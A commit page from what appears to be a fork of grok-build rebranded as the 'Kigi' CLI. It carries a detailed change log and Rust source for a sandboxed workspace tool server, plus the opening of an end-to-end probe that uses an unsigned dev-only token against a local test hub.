M0: compilable skeleton — Kigi 0.1.0 fork surgery
Hard fork of xai-org/grok-build (Apache-2.0) re-targeted as Kigi, an
unofficial Kimi Code CLI community build.
Rename & identity
- 72 xai-*/xai-grok-* crates -> kigi-* (explicit: xai-grok-pager-bin ->
kigi-bin [binary `kigi`], xai-grok-pager -> kigi-tui; rest mechanical);
ptyctl, ptyctl-cli, third_party/ unchanged; proto package
xai.grok.tools.v1 -> kigi.tools.v1
- Config home ~/.kigi (KIGI_SHARE_DIR override), env prefix GROK_* ->
KIGI_*, `kigi --version` carries the unofficial-community-build notice
- clap identity, help text, startup banner, prompt templates rebranded
(templates re-encrypted)
Deletions (PRD removal list #5/#6/#7/#9/#10)
- voice input (xai-grok-voice) and all TUI wiring
- telemetry: Mixpanel client, external OTel stream, Sentry, OTLP layers,
trace/GCS/S3 upload queues (kigi-file-utils halved), workspace upload
module & dc_log, heap-profile uploader, auth-diagnostics uploader,
session-analytics halves of feedback; local zero-egress observability
preserved in new kigi-log crate (unified log, --debug firehose,
subsystem file logs, opt-in instrumentation)
- announcements (crate, remote-settings fields, TUI surfaces)
- plugin marketplace (crate, sources/browse/CTA/extensions-modal tab);
direct plugin install/uninstall/update via kigi-agent git_install kept
- relay/gateway/assets endpoints and features (agent relay, headless
relay transport, gateway bridge, LeaderEnvUrls); leader IPC socket now
~/.kigi/leader.sock + KIGI_LEADER_SOCKET, no ws-url derivation
- functional types rehomed instead of deleted: PermissionMode ->
kigi-config-types, McpInitStrategy -> kigi-mcp, PrCreationSource ->
session signals, TerminalDiagnostics -> kigi-pager-render, agent_id ->
shell util
Endpoints
- kigi-env rewritten: single production KigiEndpoints {coding_api_base_url
https://api.kimi.com/coding/v1 (KIGI_CODE_BASE_URL), oauth_host
https://auth.kimi.com (KIGI_OAUTH_HOST), update_base_url (GitHub
Releases API), upgrade_page_url}; GrokBuildEnvironment enum deleted
Toolchain & workspace hygiene
- Rust 1.97.0 pinned; edition 2024; full cargo update; git2 hoisted to
workspace at 0.21 (Option->Result API migration), quick-xml 0.41
- Root Cargo.toml hand-maintained (PRD §8.1): version 0.1.0 inherited by
all members, members sorted, unused deps pruned
- cargo-deny advisories gate (deny.toml with documented transitive
exceptions); CI workflow (check/clippy/fmt/deny/test, macOS+Linux)
- cross-crate test seams re-gated behind `test-support` cargo feature;
insta snapshot baselines renamed to the kigi_tui prefix
- clippy --workspace --all-targets: zero warnings; fmt clean
Fixes surfaced by the port
- updater probe/installer divergence (bin/kigi vs bin/grok symlink set)
- idle model-metadata refresh dead under KIGI_CODE_BASE_URL override
(new is_effective_coding_endpoint_url, loopback+override aware)
- macOS symlinked-TMPDIR fixture canonicalization (foreign_sessions,
fast-worktree); RSS measurement tests serialized via serial_test
Docs & legal (Apache §4)
- NOTICE added (upstream attribution + change statement); THIRD-PARTY
notices sustained; kigi-tools ported-code notices extended; README,
CONTRIBUTING, SECURITY, AGENTS.md rewritten
Out of scope for M0 (tracked): Kimi auth/inference (M1), search/fetch,
command parity, config import (M2), Computer Hub excision & final
brand-token sweep (M2), distribution & self-update rewrite (M3).
This commit is contained in:
ZacharyZhang-NY committed
commit
d6c20fc13f
2612 files changed
+1353757
No files matched your search
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,583 @@
|
||||
//! Standalone workspace ToolServer for remote sandboxes.
|
||||
//!
|
||||
//! Reads OIDC credentials from `~/.kigi/auth.json`, connects to a
|
||||
//! server, exposes workspace tools, and refreshes tokens
|
||||
//! automatically.
|
||||
use clap::Parser;
|
||||
use kigi_workspace::config::WorkspaceServerMetadata;
|
||||
use kigi_workspace::daemonize;
|
||||
use kigi_workspace::diag_server;
|
||||
use kigi_workspace::preview_supervisor::{self, PreviewArgs, PreviewVisibility};
|
||||
use std::path::PathBuf;
|
||||
use url::Url;
|
||||
/// OTLP `service.name` for this binary's exported traces/logs/metrics and
|
||||
/// direct-OTLP fastrace export. Single source so the call sites can't drift.
|
||||
const SERVICE_NAME: &str = "prod_grok_workspace";
|
||||
const EXIT_SERVER_ID_INVALID: i32 = 3;
|
||||
const INVALID_SERVER_ID_MARKER: &str = "workspace-server: invalid --server-id";
|
||||
fn server_id_startup_error(id: &str) -> Option<String> {
|
||||
id.parse::<kigi_tool_protocol::ServerId>()
|
||||
.err()
|
||||
.map(|e| format!("{INVALID_SERVER_ID_MARKER} {id:?}: {e}"))
|
||||
}
|
||||
#[derive(Parser)]
|
||||
#[command(name = "kigi-workspace-server")]
|
||||
#[command(about = "Standalone workspace ToolServer for the server connection")]
|
||||
struct Args {
|
||||
/// Print the capability manifest as JSON to stdout and exit 0. Legacy
|
||||
/// binaries reject the unknown flag via clap (non-zero exit), giving the
|
||||
/// launcher a definitive feature probe.
|
||||
#[arg(long)]
|
||||
capabilities: bool,
|
||||
#[arg(long, default_value = "wss://computer-hub.kigi.com/v1/tools")]
|
||||
hub_url: String,
|
||||
#[arg(long)]
|
||||
auth_config: Option<PathBuf>,
|
||||
#[arg(long)]
|
||||
cwd: Option<PathBuf>,
|
||||
/// Stable server identity for hub registration. Used as the
|
||||
/// `server_id` in `servers.list` and `server.bind` so clients
|
||||
/// can address this specific workspace server.
|
||||
/// When omitted, the SDK default ("workspace-server") is used.
|
||||
#[arg(long)]
|
||||
server_id: Option<String>,
|
||||
/// JSON metadata attached to the tool server registration.
|
||||
/// Propagated to `ServerInfo.metadata` in `servers.list` responses.
|
||||
#[arg(long)]
|
||||
metadata: Option<String>,
|
||||
/// Path to write a PID file once the server connection is established.
|
||||
/// The sandbox service polls this file to determine readiness.
|
||||
#[arg(long, default_value = daemonize::DEFAULT_READY_PATH)]
|
||||
ready_file: PathBuf,
|
||||
/// Unix-socket path for the in-guest diagnostics HTTP server
|
||||
/// (`/ready`, `/statusz`).
|
||||
#[cfg(unix)]
|
||||
#[arg(long, default_value = diag_server::DEFAULT_DIAG_SOCKET_PATH)]
|
||||
diag_socket: PathBuf,
|
||||
/// Loopback TCP port for the diagnostics HTTP server (Windows guests,
|
||||
/// which lack a reliable Unix-socket HTTP client).
|
||||
#[cfg(windows)]
|
||||
#[arg(long, default_value_t = diag_server::DEFAULT_DIAG_PORT)]
|
||||
diag_port: u16,
|
||||
/// Permit a plaintext `ws://` hub on a non-loopback host. Only for a
|
||||
/// mesh-secured transport; the bearer crosses the network otherwise.
|
||||
#[arg(long)]
|
||||
allow_insecure_ws: bool,
|
||||
/// Fail `session.bind`s without an explicit toolset closed (RPC-only)
|
||||
/// instead of widening to the built-in default catalog. Passed by the
|
||||
/// sandbox service; doubles as a version tripwire (a stale revived binary
|
||||
/// rejects the argv and never reports ready).
|
||||
#[arg(long)]
|
||||
require_explicit_toolset: bool,
|
||||
/// Confine `x.ai/fs/*` resolution to the workspace root (reject `..`,
|
||||
/// absolute-outside-root, symlink escapes). On by default: the standalone
|
||||
/// server always backs a remote-sandbox workspace, a real tenant boundary.
|
||||
/// Override with `KIGI_WORKSPACE_CONFINE_FS_TO_ROOT=false` (e.g. local dev).
|
||||
#[arg(
|
||||
long,
|
||||
env = "KIGI_WORKSPACE_CONFINE_FS_TO_ROOT",
|
||||
default_value_t = true,
|
||||
action = clap::ArgAction::Set,
|
||||
)]
|
||||
confine_fs_to_workspace_root: bool,
|
||||
/// Self-daemonize at startup: double-fork + `setsid()` into a new session
|
||||
/// and process group (escaping the launcher's process-group reap),
|
||||
/// redirect stdio to a log file, and hold a single-instance pidfile lock.
|
||||
///
|
||||
/// Off by default — opt-in, passed by the launcher in the supervised
|
||||
/// deployment mode. With the flag absent, startup is unchanged.
|
||||
#[arg(long)]
|
||||
daemonize: bool,
|
||||
/// Where `--daemonize` redirects stdout+stderr. Ignored without
|
||||
/// `--daemonize`.
|
||||
#[arg(long, default_value = daemonize::DEFAULT_LOG_PATH)]
|
||||
log_file: PathBuf,
|
||||
/// Single-instance pidfile lock path used with `--daemonize`. Ignored
|
||||
/// without `--daemonize`.
|
||||
#[arg(long, default_value = daemonize::DEFAULT_PIDFILE_PATH)]
|
||||
pid_file: PathBuf,
|
||||
#[command(flatten)]
|
||||
preview: PreviewCliArgs,
|
||||
}
|
||||
/// Preview-proxy supervision flags. Forwarded 1:1 to the
|
||||
/// `/usr/local/bin/xai-grok-preview-proxy` child (see `cli.rs` for the proxy's
|
||||
/// flag names). Off by default — when `--preview-enabled` is absent the
|
||||
/// supervisor is never started and startup is byte-for-byte the non-preview
|
||||
/// path.
|
||||
#[derive(clap::Args, Debug)]
|
||||
struct PreviewCliArgs {
|
||||
/// Spawn and supervise the in-sandbox preview-proxy. The launcher passes
|
||||
/// this only when the proxy binary was mounted into this container.
|
||||
#[arg(long)]
|
||||
preview_enabled: bool,
|
||||
/// Proxy `--preview-port` (externally exposed listener). Absent ⇒ proxy default.
|
||||
#[arg(long)]
|
||||
preview_port: Option<u16>,
|
||||
/// Proxy `--control-port` (loopback control). Absent ⇒ proxy default.
|
||||
#[arg(long)]
|
||||
preview_control_port: Option<u16>,
|
||||
/// Proxy `--visibility` (`owner` | `public`). Absent ⇒ proxy default.
|
||||
/// Validated here so a bad value fails fast instead of crash-looping the proxy.
|
||||
#[arg(long, value_enum)]
|
||||
preview_visibility: Option<PreviewVisibility>,
|
||||
/// Proxy `--instance-suffix` for inbound Host validation.
|
||||
#[arg(long)]
|
||||
preview_instance_suffix: Option<String>,
|
||||
/// Proxy `--auth-redirect`: URL the unauthenticated handshake redirects to.
|
||||
/// Required for the default `owner` gate to redirect rather than deny.
|
||||
#[arg(long)]
|
||||
preview_auth_redirect: Option<String>,
|
||||
/// Proxy `--allow-public` org public-policy gate (forwarded only when set).
|
||||
#[arg(long)]
|
||||
preview_allow_public: bool,
|
||||
/// Proxy `--workspace-server-port` (added to the discovery denylist).
|
||||
#[arg(long)]
|
||||
preview_workspace_server_port: Option<u16>,
|
||||
}
|
||||
impl PreviewCliArgs {
|
||||
fn into_preview_args(self, workspace_dir: PathBuf) -> PreviewArgs {
|
||||
PreviewArgs {
|
||||
enabled: self.preview_enabled,
|
||||
port: self.preview_port,
|
||||
control_port: self.preview_control_port,
|
||||
visibility: self.preview_visibility,
|
||||
instance_suffix: self.preview_instance_suffix,
|
||||
auth_redirect: self.preview_auth_redirect,
|
||||
allow_public: self.preview_allow_public,
|
||||
workspace_server_port: self.preview_workspace_server_port,
|
||||
workspace_dir,
|
||||
}
|
||||
}
|
||||
}
|
||||
/// Capability manifest printed by `--capabilities`, consumed by the sandbox
|
||||
/// launcher to pick a launch protocol. Additions are backward-compatible.
|
||||
#[derive(Debug, serde::Serialize)]
|
||||
struct Capabilities {
|
||||
/// The in-guest diagnostics HTTP server (`/ready`, `/statusz`, `/logs`).
|
||||
diag: bool,
|
||||
}
|
||||
const CAPABILITIES: Capabilities = Capabilities { diag: true };
|
||||
fn main() -> anyhow::Result<()> {
|
||||
let mut args = Args::parse();
|
||||
if args.capabilities {
|
||||
println!("{}", serde_json::to_string(&CAPABILITIES)?);
|
||||
return Ok(());
|
||||
}
|
||||
if let Some(msg) = args.server_id.as_deref().and_then(server_id_startup_error) {
|
||||
eprintln!("{msg}");
|
||||
std::process::exit(EXIT_SERVER_ID_INVALID);
|
||||
}
|
||||
let cwd = match args.cwd {
|
||||
Some(ref p) => dunce::canonicalize(p)?,
|
||||
None => std::env::current_dir()?,
|
||||
};
|
||||
let _pidfile_guard = if args.daemonize {
|
||||
let anchor = |p: PathBuf| if p.is_absolute() { p } else { cwd.join(p) };
|
||||
args.log_file = anchor(std::mem::take(&mut args.log_file));
|
||||
args.pid_file = anchor(std::mem::take(&mut args.pid_file));
|
||||
args.ready_file = anchor(std::mem::take(&mut args.ready_file));
|
||||
#[cfg(unix)]
|
||||
{
|
||||
args.diag_socket = anchor(std::mem::take(&mut args.diag_socket));
|
||||
}
|
||||
args.auth_config = args.auth_config.take().map(anchor);
|
||||
daemonize::daemonize(&args.log_file)?;
|
||||
match daemonize::PidFile::acquire_or_take_over(&args.pid_file, daemonize::TAKEOVER_GRACE)? {
|
||||
Some(guard) => Some(guard),
|
||||
None => return Ok(()),
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
tokio::runtime::Builder::new_multi_thread()
|
||||
.enable_all()
|
||||
.build()?
|
||||
.block_on(run(args, cwd))
|
||||
}
|
||||
async fn run(args: Args, cwd: PathBuf) -> anyhow::Result<()> {
|
||||
let _ = rustls::crypto::ring::default_provider().install_default();
|
||||
use tracing_subscriber::layer::SubscriberExt as _;
|
||||
use tracing_subscriber::util::SubscriberInitExt as _;
|
||||
let env_filter = tracing_subscriber::EnvFilter::try_from_default_env()
|
||||
.unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("info"));
|
||||
let donating = kigi_computer_hub_sdk::DonatingLogLayer::new_inert();
|
||||
tracing_subscriber::registry()
|
||||
.with(env_filter)
|
||||
.with(tracing_subscriber::fmt::layer())
|
||||
.with(donating.clone())
|
||||
.init();
|
||||
let direct_otlp = match std::env::var("KIGI_WORKSPACE_OTLP_ENDPOINT") {
|
||||
Ok(endpoint) if !endpoint.is_empty() => {
|
||||
match kigi_tracing::init_fastrace(endpoint.clone(), SERVICE_NAME.to_owned(), None) {
|
||||
Ok(()) => {
|
||||
tracing::info!(% endpoint, "trace export enabled (direct OTLP)");
|
||||
true
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!(error = % e, "direct OTLP trace export init failed");
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => false,
|
||||
};
|
||||
let url = Url::parse(&args.hub_url).map_err(|e| anyhow::anyhow!("invalid --hub-url: {e}"))?;
|
||||
{
|
||||
use kigi_sandbox::{ProfileName, SandboxManager};
|
||||
let profile = match std::env::var("KIGI_SANDBOX_PROFILE").ok() {
|
||||
Some(val) => {
|
||||
let parsed = val
|
||||
.parse::<ProfileName>()
|
||||
.expect("ProfileName::from_str is infallible");
|
||||
if matches!(parsed, ProfileName::Custom(_)) {
|
||||
tracing::warn!(
|
||||
value = % val,
|
||||
"Unrecognized KIGI_SANDBOX_PROFILE, defaulting to workspace"
|
||||
);
|
||||
ProfileName::Workspace
|
||||
} else {
|
||||
parsed
|
||||
}
|
||||
}
|
||||
None if kigi_sandbox::trust_bwrap_marker_for_devbox() => ProfileName::Devbox,
|
||||
None => ProfileName::Workspace,
|
||||
};
|
||||
let profile_name = profile.to_string();
|
||||
if profile == ProfileName::Off {
|
||||
tracing::info!(
|
||||
profile = % profile_name,
|
||||
"Sandbox explicitly disabled via KIGI_SANDBOX_PROFILE=off"
|
||||
);
|
||||
} else {
|
||||
let mut sandbox = SandboxManager::new(profile, &cwd);
|
||||
if let Err(e) = sandbox.apply(&cwd) {
|
||||
tracing::warn!(
|
||||
error = % e, "Sandbox apply returned error, continuing unsandboxed"
|
||||
);
|
||||
} else if !sandbox.is_applied() {
|
||||
tracing::warn!("Sandbox could not be applied (unsupported platform)");
|
||||
}
|
||||
sandbox.install();
|
||||
let active = kigi_sandbox::is_active();
|
||||
let status_msg = if active {
|
||||
"Workspace server sandbox active"
|
||||
} else {
|
||||
"Workspace server sandbox NOT active"
|
||||
};
|
||||
tracing::info!(
|
||||
profile = % profile_name, active, restrict_network =
|
||||
kigi_sandbox::should_restrict_child_network(), "{status_msg}"
|
||||
);
|
||||
}
|
||||
}
|
||||
let auth_provider = kigi_workspace::hub_auth::provider(&url, args.auth_config.as_deref())?;
|
||||
tracing::info!(hub_url = % url, cwd = % cwd.display(), "Starting workspace server");
|
||||
let cwd_display = cwd.display().to_string();
|
||||
let session_id = std::env::var("KIGI_SESSION_ID").ok();
|
||||
let parsed_metadata = match args.metadata {
|
||||
Some(json_str) => Some(
|
||||
serde_json::from_str(&json_str)
|
||||
.map_err(|e| anyhow::anyhow!("invalid --metadata JSON: {e}"))?,
|
||||
),
|
||||
None => None,
|
||||
};
|
||||
let metadata = WorkspaceServerMetadata::merge_session_metadata(parsed_metadata, session_id);
|
||||
let launch_id = metadata
|
||||
.as_ref()
|
||||
.and_then(|v| v.get("launch_id"))
|
||||
.and_then(serde_json::Value::as_str)
|
||||
.map(str::to_owned);
|
||||
let diag_handle = diag_server::DiagHandle::new(launch_id);
|
||||
#[cfg(unix)]
|
||||
let diag_listener = diag_server::DiagListener::Unix(args.diag_socket);
|
||||
#[cfg(windows)]
|
||||
let diag_listener = diag_server::DiagListener::Tcp(args.diag_port);
|
||||
let diag_log_file = args.daemonize.then_some(args.log_file);
|
||||
let _diag_server =
|
||||
match diag_server::serve(diag_listener, diag_handle.clone(), diag_log_file).await {
|
||||
Ok(bound) => {
|
||||
tracing::info!(addr = % bound.addr, "diagnostics server listening");
|
||||
Some(bound)
|
||||
}
|
||||
Err(e) => {
|
||||
if args.daemonize {
|
||||
tracing::error!(error = % e, "{}", diag_server::DIAG_BIND_FAILED_MARKER);
|
||||
std::process::exit(diag_server::EXIT_DIAG_BIND_FAILED);
|
||||
}
|
||||
tracing::warn!(
|
||||
error = % e, "{} (continuing without)",
|
||||
diag_server::DIAG_BIND_FAILED_MARKER
|
||||
);
|
||||
None
|
||||
}
|
||||
};
|
||||
tracing::info!(
|
||||
cwd = % cwd_display,
|
||||
"Workspace server starting — sessions created dynamically via server bind"
|
||||
);
|
||||
let server_id = args.server_id.clone();
|
||||
let status_config = kigi_workspace::StatusConfig::from_env();
|
||||
let preview_shutdown = if args.preview.preview_enabled {
|
||||
let control_port = args.preview.preview_control_port;
|
||||
let cfg = args.preview.into_preview_args(cwd.clone());
|
||||
let (tx, rx) = tokio::sync::watch::channel(false);
|
||||
tokio::spawn(preview_supervisor::supervise_preview(cfg, rx));
|
||||
Some((tx, control_port))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let project_lsp_trusted = true;
|
||||
let preview_scrape_interval = status_config.preview_activity_scrape_interval;
|
||||
kigi_workspace::init_metrics();
|
||||
let ws_handle = kigi_workspace::handle::connect_local_workspace(
|
||||
cwd,
|
||||
url,
|
||||
auth_provider,
|
||||
metadata,
|
||||
server_id.clone(),
|
||||
None,
|
||||
args.allow_insecure_ws,
|
||||
status_config,
|
||||
project_lsp_trusted,
|
||||
Some(args.ready_file.clone()),
|
||||
Some(diag_handle.clone()),
|
||||
args.require_explicit_toolset,
|
||||
args.confine_fs_to_workspace_root,
|
||||
)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("failed to connect workspace to hub: {e}"))?;
|
||||
if let Some((tx, control_port)) = &preview_shutdown {
|
||||
tokio::spawn(preview_supervisor::supervise_preview_activity(
|
||||
*control_port,
|
||||
ws_handle.activity_tracker().clone(),
|
||||
preview_scrape_interval,
|
||||
tx.subscribe(),
|
||||
));
|
||||
}
|
||||
let mut donation_pump = None;
|
||||
if !direct_otlp {
|
||||
match ws_handle.trace_donation_reporter(SERVICE_NAME).await {
|
||||
Some((reporter, pump)) => {
|
||||
fastrace::set_reporter(reporter, fastrace::collector::Config::default());
|
||||
donation_pump = Some(pump);
|
||||
tracing::info!("trace export enabled");
|
||||
}
|
||||
None => tracing::info!("trace export disabled (not connected)"),
|
||||
}
|
||||
}
|
||||
let mut log_donation_pump = None;
|
||||
match ws_handle.log_donation_layer(SERVICE_NAME).await {
|
||||
Some((sender, pump)) => {
|
||||
donating.activate(sender);
|
||||
log_donation_pump = Some(pump);
|
||||
tracing::info!("log export enabled");
|
||||
}
|
||||
None => tracing::info!("log export disabled (not connected)"),
|
||||
}
|
||||
let mut metric_donation_pump = None;
|
||||
match ws_handle.metric_donation_reporter(SERVICE_NAME).await {
|
||||
Some(pump) => {
|
||||
metric_donation_pump = Some(pump);
|
||||
tracing::info!("metric export enabled");
|
||||
}
|
||||
None => tracing::info!("metric export disabled (not connected)"),
|
||||
}
|
||||
tracing::info!(
|
||||
server_id = ? server_id, "Workspace server connected to hub. Serving tools."
|
||||
);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use tokio::signal::unix::{SignalKind, signal};
|
||||
let mut sigterm = signal(SignalKind::terminate())?;
|
||||
tokio::select! {
|
||||
_ = tokio::signal::ctrl_c() => {} _ = sigterm.recv() => {}
|
||||
}
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
tokio::signal::ctrl_c().await?;
|
||||
if let Some((tx, _)) = &preview_shutdown {
|
||||
let _ = tx.send(true);
|
||||
}
|
||||
let _ = std::fs::remove_file(&args.ready_file);
|
||||
diag_handle.set_shutting_down();
|
||||
tracing::info!("Received shutdown signal, draining...");
|
||||
let tracker = ws_handle.activity_tracker().clone();
|
||||
let grace_budget = kigi_workspace::handle::termination_grace_from_env();
|
||||
ws_handle
|
||||
.two_phase_drain(grace_budget, kigi_workspace::handle::DrainReason::Sigterm)
|
||||
.await;
|
||||
tracker.set_shutting_down();
|
||||
tracing::info!("Shutting down...");
|
||||
fastrace::flush();
|
||||
if let Some(pump) = &donation_pump {
|
||||
pump.drain().await;
|
||||
}
|
||||
kigi_computer_hub_sdk::flush_log_layer();
|
||||
if let Some(pump) = &log_donation_pump {
|
||||
pump.drain().await;
|
||||
}
|
||||
if let Some(pump) = &metric_donation_pump {
|
||||
pump.drain().await;
|
||||
}
|
||||
ws_handle.shutdown_hub().await;
|
||||
kigi_sandbox::flush();
|
||||
Ok(())
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
#[test]
|
||||
fn capabilities_flag_parses_and_defaults_off() {
|
||||
let args = Args::try_parse_from(["kigi-workspace-server"]).unwrap();
|
||||
assert!(!args.capabilities);
|
||||
let args = Args::try_parse_from(["kigi-workspace-server", "--capabilities"]).unwrap();
|
||||
assert!(args.capabilities);
|
||||
}
|
||||
#[test]
|
||||
fn capabilities_manifest_shape() {
|
||||
let value = serde_json::to_value(CAPABILITIES).unwrap();
|
||||
assert_eq!(value, serde_json::json!({ "diag" : true }));
|
||||
}
|
||||
#[test]
|
||||
fn capabilities_probe_of_legacy_binary_exits_nonzero() {
|
||||
/// A stand-in for a pre-`--capabilities` Args surface.
|
||||
#[derive(Debug, Parser)]
|
||||
struct LegacyArgs {
|
||||
#[arg(long)]
|
||||
daemonize: bool,
|
||||
}
|
||||
let err = LegacyArgs::try_parse_from(["kigi-workspace-server", "--capabilities"])
|
||||
.expect_err("a legacy binary must reject the flag");
|
||||
assert_eq!(err.kind(), clap::error::ErrorKind::UnknownArgument);
|
||||
assert_ne!(
|
||||
err.exit_code(),
|
||||
0,
|
||||
"the probe relies on a non-zero exit distinguishing legacy binaries"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn daemonize_defaults_are_inert() {
|
||||
let args = Args::try_parse_from(["kigi-workspace-server"]).unwrap();
|
||||
assert!(!args.daemonize);
|
||||
assert_eq!(args.log_file, PathBuf::from(daemonize::DEFAULT_LOG_PATH));
|
||||
assert_eq!(
|
||||
args.pid_file,
|
||||
PathBuf::from(daemonize::DEFAULT_PIDFILE_PATH)
|
||||
);
|
||||
assert_eq!(
|
||||
args.ready_file,
|
||||
PathBuf::from(daemonize::DEFAULT_READY_PATH)
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn invalid_server_id_produces_the_marker_line() {
|
||||
for bad in ["auto:tool:x", ""] {
|
||||
let msg = server_id_startup_error(bad)
|
||||
.unwrap_or_else(|| panic!("server id {bad:?} must be rejected"));
|
||||
assert!(
|
||||
msg.starts_with(INVALID_SERVER_ID_MARKER),
|
||||
"startup error must START with the greppable marker prefix: {msg}"
|
||||
);
|
||||
}
|
||||
assert_eq!(server_id_startup_error("session-abc-123"), None);
|
||||
}
|
||||
#[test]
|
||||
fn argv_rejection_exit_code_is_distinct_from_server_id_exit_code() {
|
||||
let err = Args::try_parse_from(["kigi-workspace-server", "--flag-from-the-future"])
|
||||
.err()
|
||||
.expect("unknown argv must be rejected");
|
||||
assert_eq!(err.exit_code(), 2, "clap argv rejection exits 2");
|
||||
assert_ne!(err.exit_code(), EXIT_SERVER_ID_INVALID);
|
||||
assert_ne!(EXIT_SERVER_ID_INVALID, 0);
|
||||
assert_ne!(EXIT_SERVER_ID_INVALID, 1);
|
||||
}
|
||||
#[test]
|
||||
fn preview_defaults_are_inert() {
|
||||
let args = Args::try_parse_from(["kigi-workspace-server"]).unwrap();
|
||||
assert!(!args.preview.preview_enabled);
|
||||
let cfg = args.preview.into_preview_args(PathBuf::from("/workspace"));
|
||||
assert!(!cfg.enabled);
|
||||
assert!(
|
||||
cfg.to_argv().is_empty(),
|
||||
"an inert config forwards no proxy args"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn preview_flags_parse_and_lower_to_supervisor_config() {
|
||||
let args = Args::try_parse_from([
|
||||
"kigi-workspace-server",
|
||||
"--preview-enabled",
|
||||
"--preview-port",
|
||||
"6014",
|
||||
"--preview-control-port",
|
||||
"6015",
|
||||
"--preview-visibility",
|
||||
"public",
|
||||
"--preview-instance-suffix",
|
||||
".inst.example",
|
||||
"--preview-auth-redirect",
|
||||
"https://grok.com/preview-auth",
|
||||
"--preview-allow-public",
|
||||
"--preview-workspace-server-port",
|
||||
"8470",
|
||||
])
|
||||
.unwrap();
|
||||
assert!(args.preview.preview_enabled);
|
||||
let cfg = args.preview.into_preview_args(PathBuf::from("/workspace"));
|
||||
assert!(cfg.enabled);
|
||||
assert_eq!(cfg.port, Some(6014));
|
||||
assert_eq!(cfg.control_port, Some(6015));
|
||||
assert_eq!(cfg.visibility, Some(PreviewVisibility::Public));
|
||||
assert_eq!(cfg.instance_suffix.as_deref(), Some(".inst.example"));
|
||||
assert_eq!(
|
||||
cfg.auth_redirect.as_deref(),
|
||||
Some("https://grok.com/preview-auth")
|
||||
);
|
||||
assert!(cfg.allow_public);
|
||||
assert_eq!(cfg.workspace_server_port, Some(8470));
|
||||
assert_eq!(cfg.workspace_dir, PathBuf::from("/workspace"));
|
||||
assert_eq!(
|
||||
cfg.to_argv(),
|
||||
vec![
|
||||
"--preview-port",
|
||||
"6014",
|
||||
"--control-port",
|
||||
"6015",
|
||||
"--visibility",
|
||||
"public",
|
||||
"--instance-suffix",
|
||||
".inst.example",
|
||||
"--auth-redirect",
|
||||
"https://grok.com/preview-auth",
|
||||
"--allow-public",
|
||||
"--workspace-server-port",
|
||||
"8470",
|
||||
],
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn preview_visibility_rejects_invalid_value() {
|
||||
let err = Args::try_parse_from([
|
||||
"kigi-workspace-server",
|
||||
"--preview-enabled",
|
||||
"--preview-visibility",
|
||||
"nobody",
|
||||
])
|
||||
.err()
|
||||
.expect("an invalid --preview-visibility must be rejected");
|
||||
assert_eq!(err.kind(), clap::error::ErrorKind::InvalidValue);
|
||||
}
|
||||
#[test]
|
||||
fn preview_visibility_owner_parses_and_lowers() {
|
||||
let args = Args::try_parse_from([
|
||||
"kigi-workspace-server",
|
||||
"--preview-enabled",
|
||||
"--preview-visibility",
|
||||
"owner",
|
||||
])
|
||||
.unwrap();
|
||||
let cfg = args.preview.into_preview_args(PathBuf::from("/workspace"));
|
||||
assert_eq!(cfg.visibility, Some(PreviewVisibility::Owner));
|
||||
assert_eq!(cfg.to_argv(), vec!["--visibility", "owner"]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,214 @@
|
||||
//! Probe that verifies a running workspace-server actually serves tools
|
||||
//! over the server connection (not just that it reached READY).
|
||||
//!
|
||||
//! Connects to the server as a client harness, binds the workspace-server's
|
||||
//! session (its `server_id` equals the sandbox `session_id`), then
|
||||
//! invokes real tools and asserts the results:
|
||||
//! - `run_terminal_command` echoes a nonce that must come back,
|
||||
//! - `read_file` reads a file the first command wrote.
|
||||
//!
|
||||
//! Exits 0 and prints `PROBE_OK` on success; non-zero with a diagnostic
|
||||
//! on failure. Intended for sandbox end-to-end tests.
|
||||
//!
|
||||
//! The client connects to the *local* server (the same one the
|
||||
//! workspace-server reaches back to, e.g. `ws://localhost:10030/v1/tools`)
|
||||
//! using a bearer token. `servers.list` is scoped per-user on the server, so
|
||||
//! the bearer must resolve to the same user that owns the session — the
|
||||
//! access token from `~/.kigi/auth.json` does (same identity).
|
||||
|
||||
use base64::Engine;
|
||||
use clap::Parser;
|
||||
use kigi_computer_hub_sdk::pool::HubConnectionPool;
|
||||
use kigi_computer_hub_sdk::{AuthCredential, ToolHarnessBuilder};
|
||||
use kigi_tool_protocol::{SessionId, ToolId};
|
||||
use kigi_tool_runtime::{ToolCallContext, ToolStreamItem, TypedToolOutput};
|
||||
use serde_json::{Value, json};
|
||||
use url::Url;
|
||||
use uuid::Uuid;
|
||||
|
||||
#[derive(Parser)]
|
||||
#[command(name = "workspace-server-probe")]
|
||||
#[command(about = "Invoke tools on a running workspace-server via the server connection")]
|
||||
struct Args {
|
||||
/// Server WebSocket URL the client connects to (the local server).
|
||||
#[arg(long, default_value = "ws://localhost:10030/v1/tools")]
|
||||
hub_url: String,
|
||||
|
||||
/// The workspace-server's server_id (equals the sandbox session_id).
|
||||
#[arg(long)]
|
||||
session_id: String,
|
||||
|
||||
/// Hub user to authenticate as. Must match the user the
|
||||
/// workspace-server registered under (`local-dev` in local-auth-dev).
|
||||
#[arg(long, default_value = "local-dev")]
|
||||
user_id: String,
|
||||
|
||||
/// Explicit bearer token (overrides --user-id). For real tokens.
|
||||
#[arg(long)]
|
||||
bearer: Option<String>,
|
||||
|
||||
/// Workspace directory to bind on the server.
|
||||
#[arg(long, default_value = "/workspace")]
|
||||
cwd: String,
|
||||
}
|
||||
|
||||
/// Mint an unsigned JWT carrying `{"sub": user_id}`. The local-auth-dev
|
||||
/// hub derives the principal's user from the bearer's JWT `sub` and does
|
||||
/// NOT verify the signature, so this is sufficient to authenticate as a
|
||||
/// specific local-dev user. Not usable against a real (verifying) hub.
|
||||
fn dev_bearer(user_id: &str) -> String {
|
||||
let b64 = base64::engine::general_purpose::URL_SAFE_NO_PAD;
|
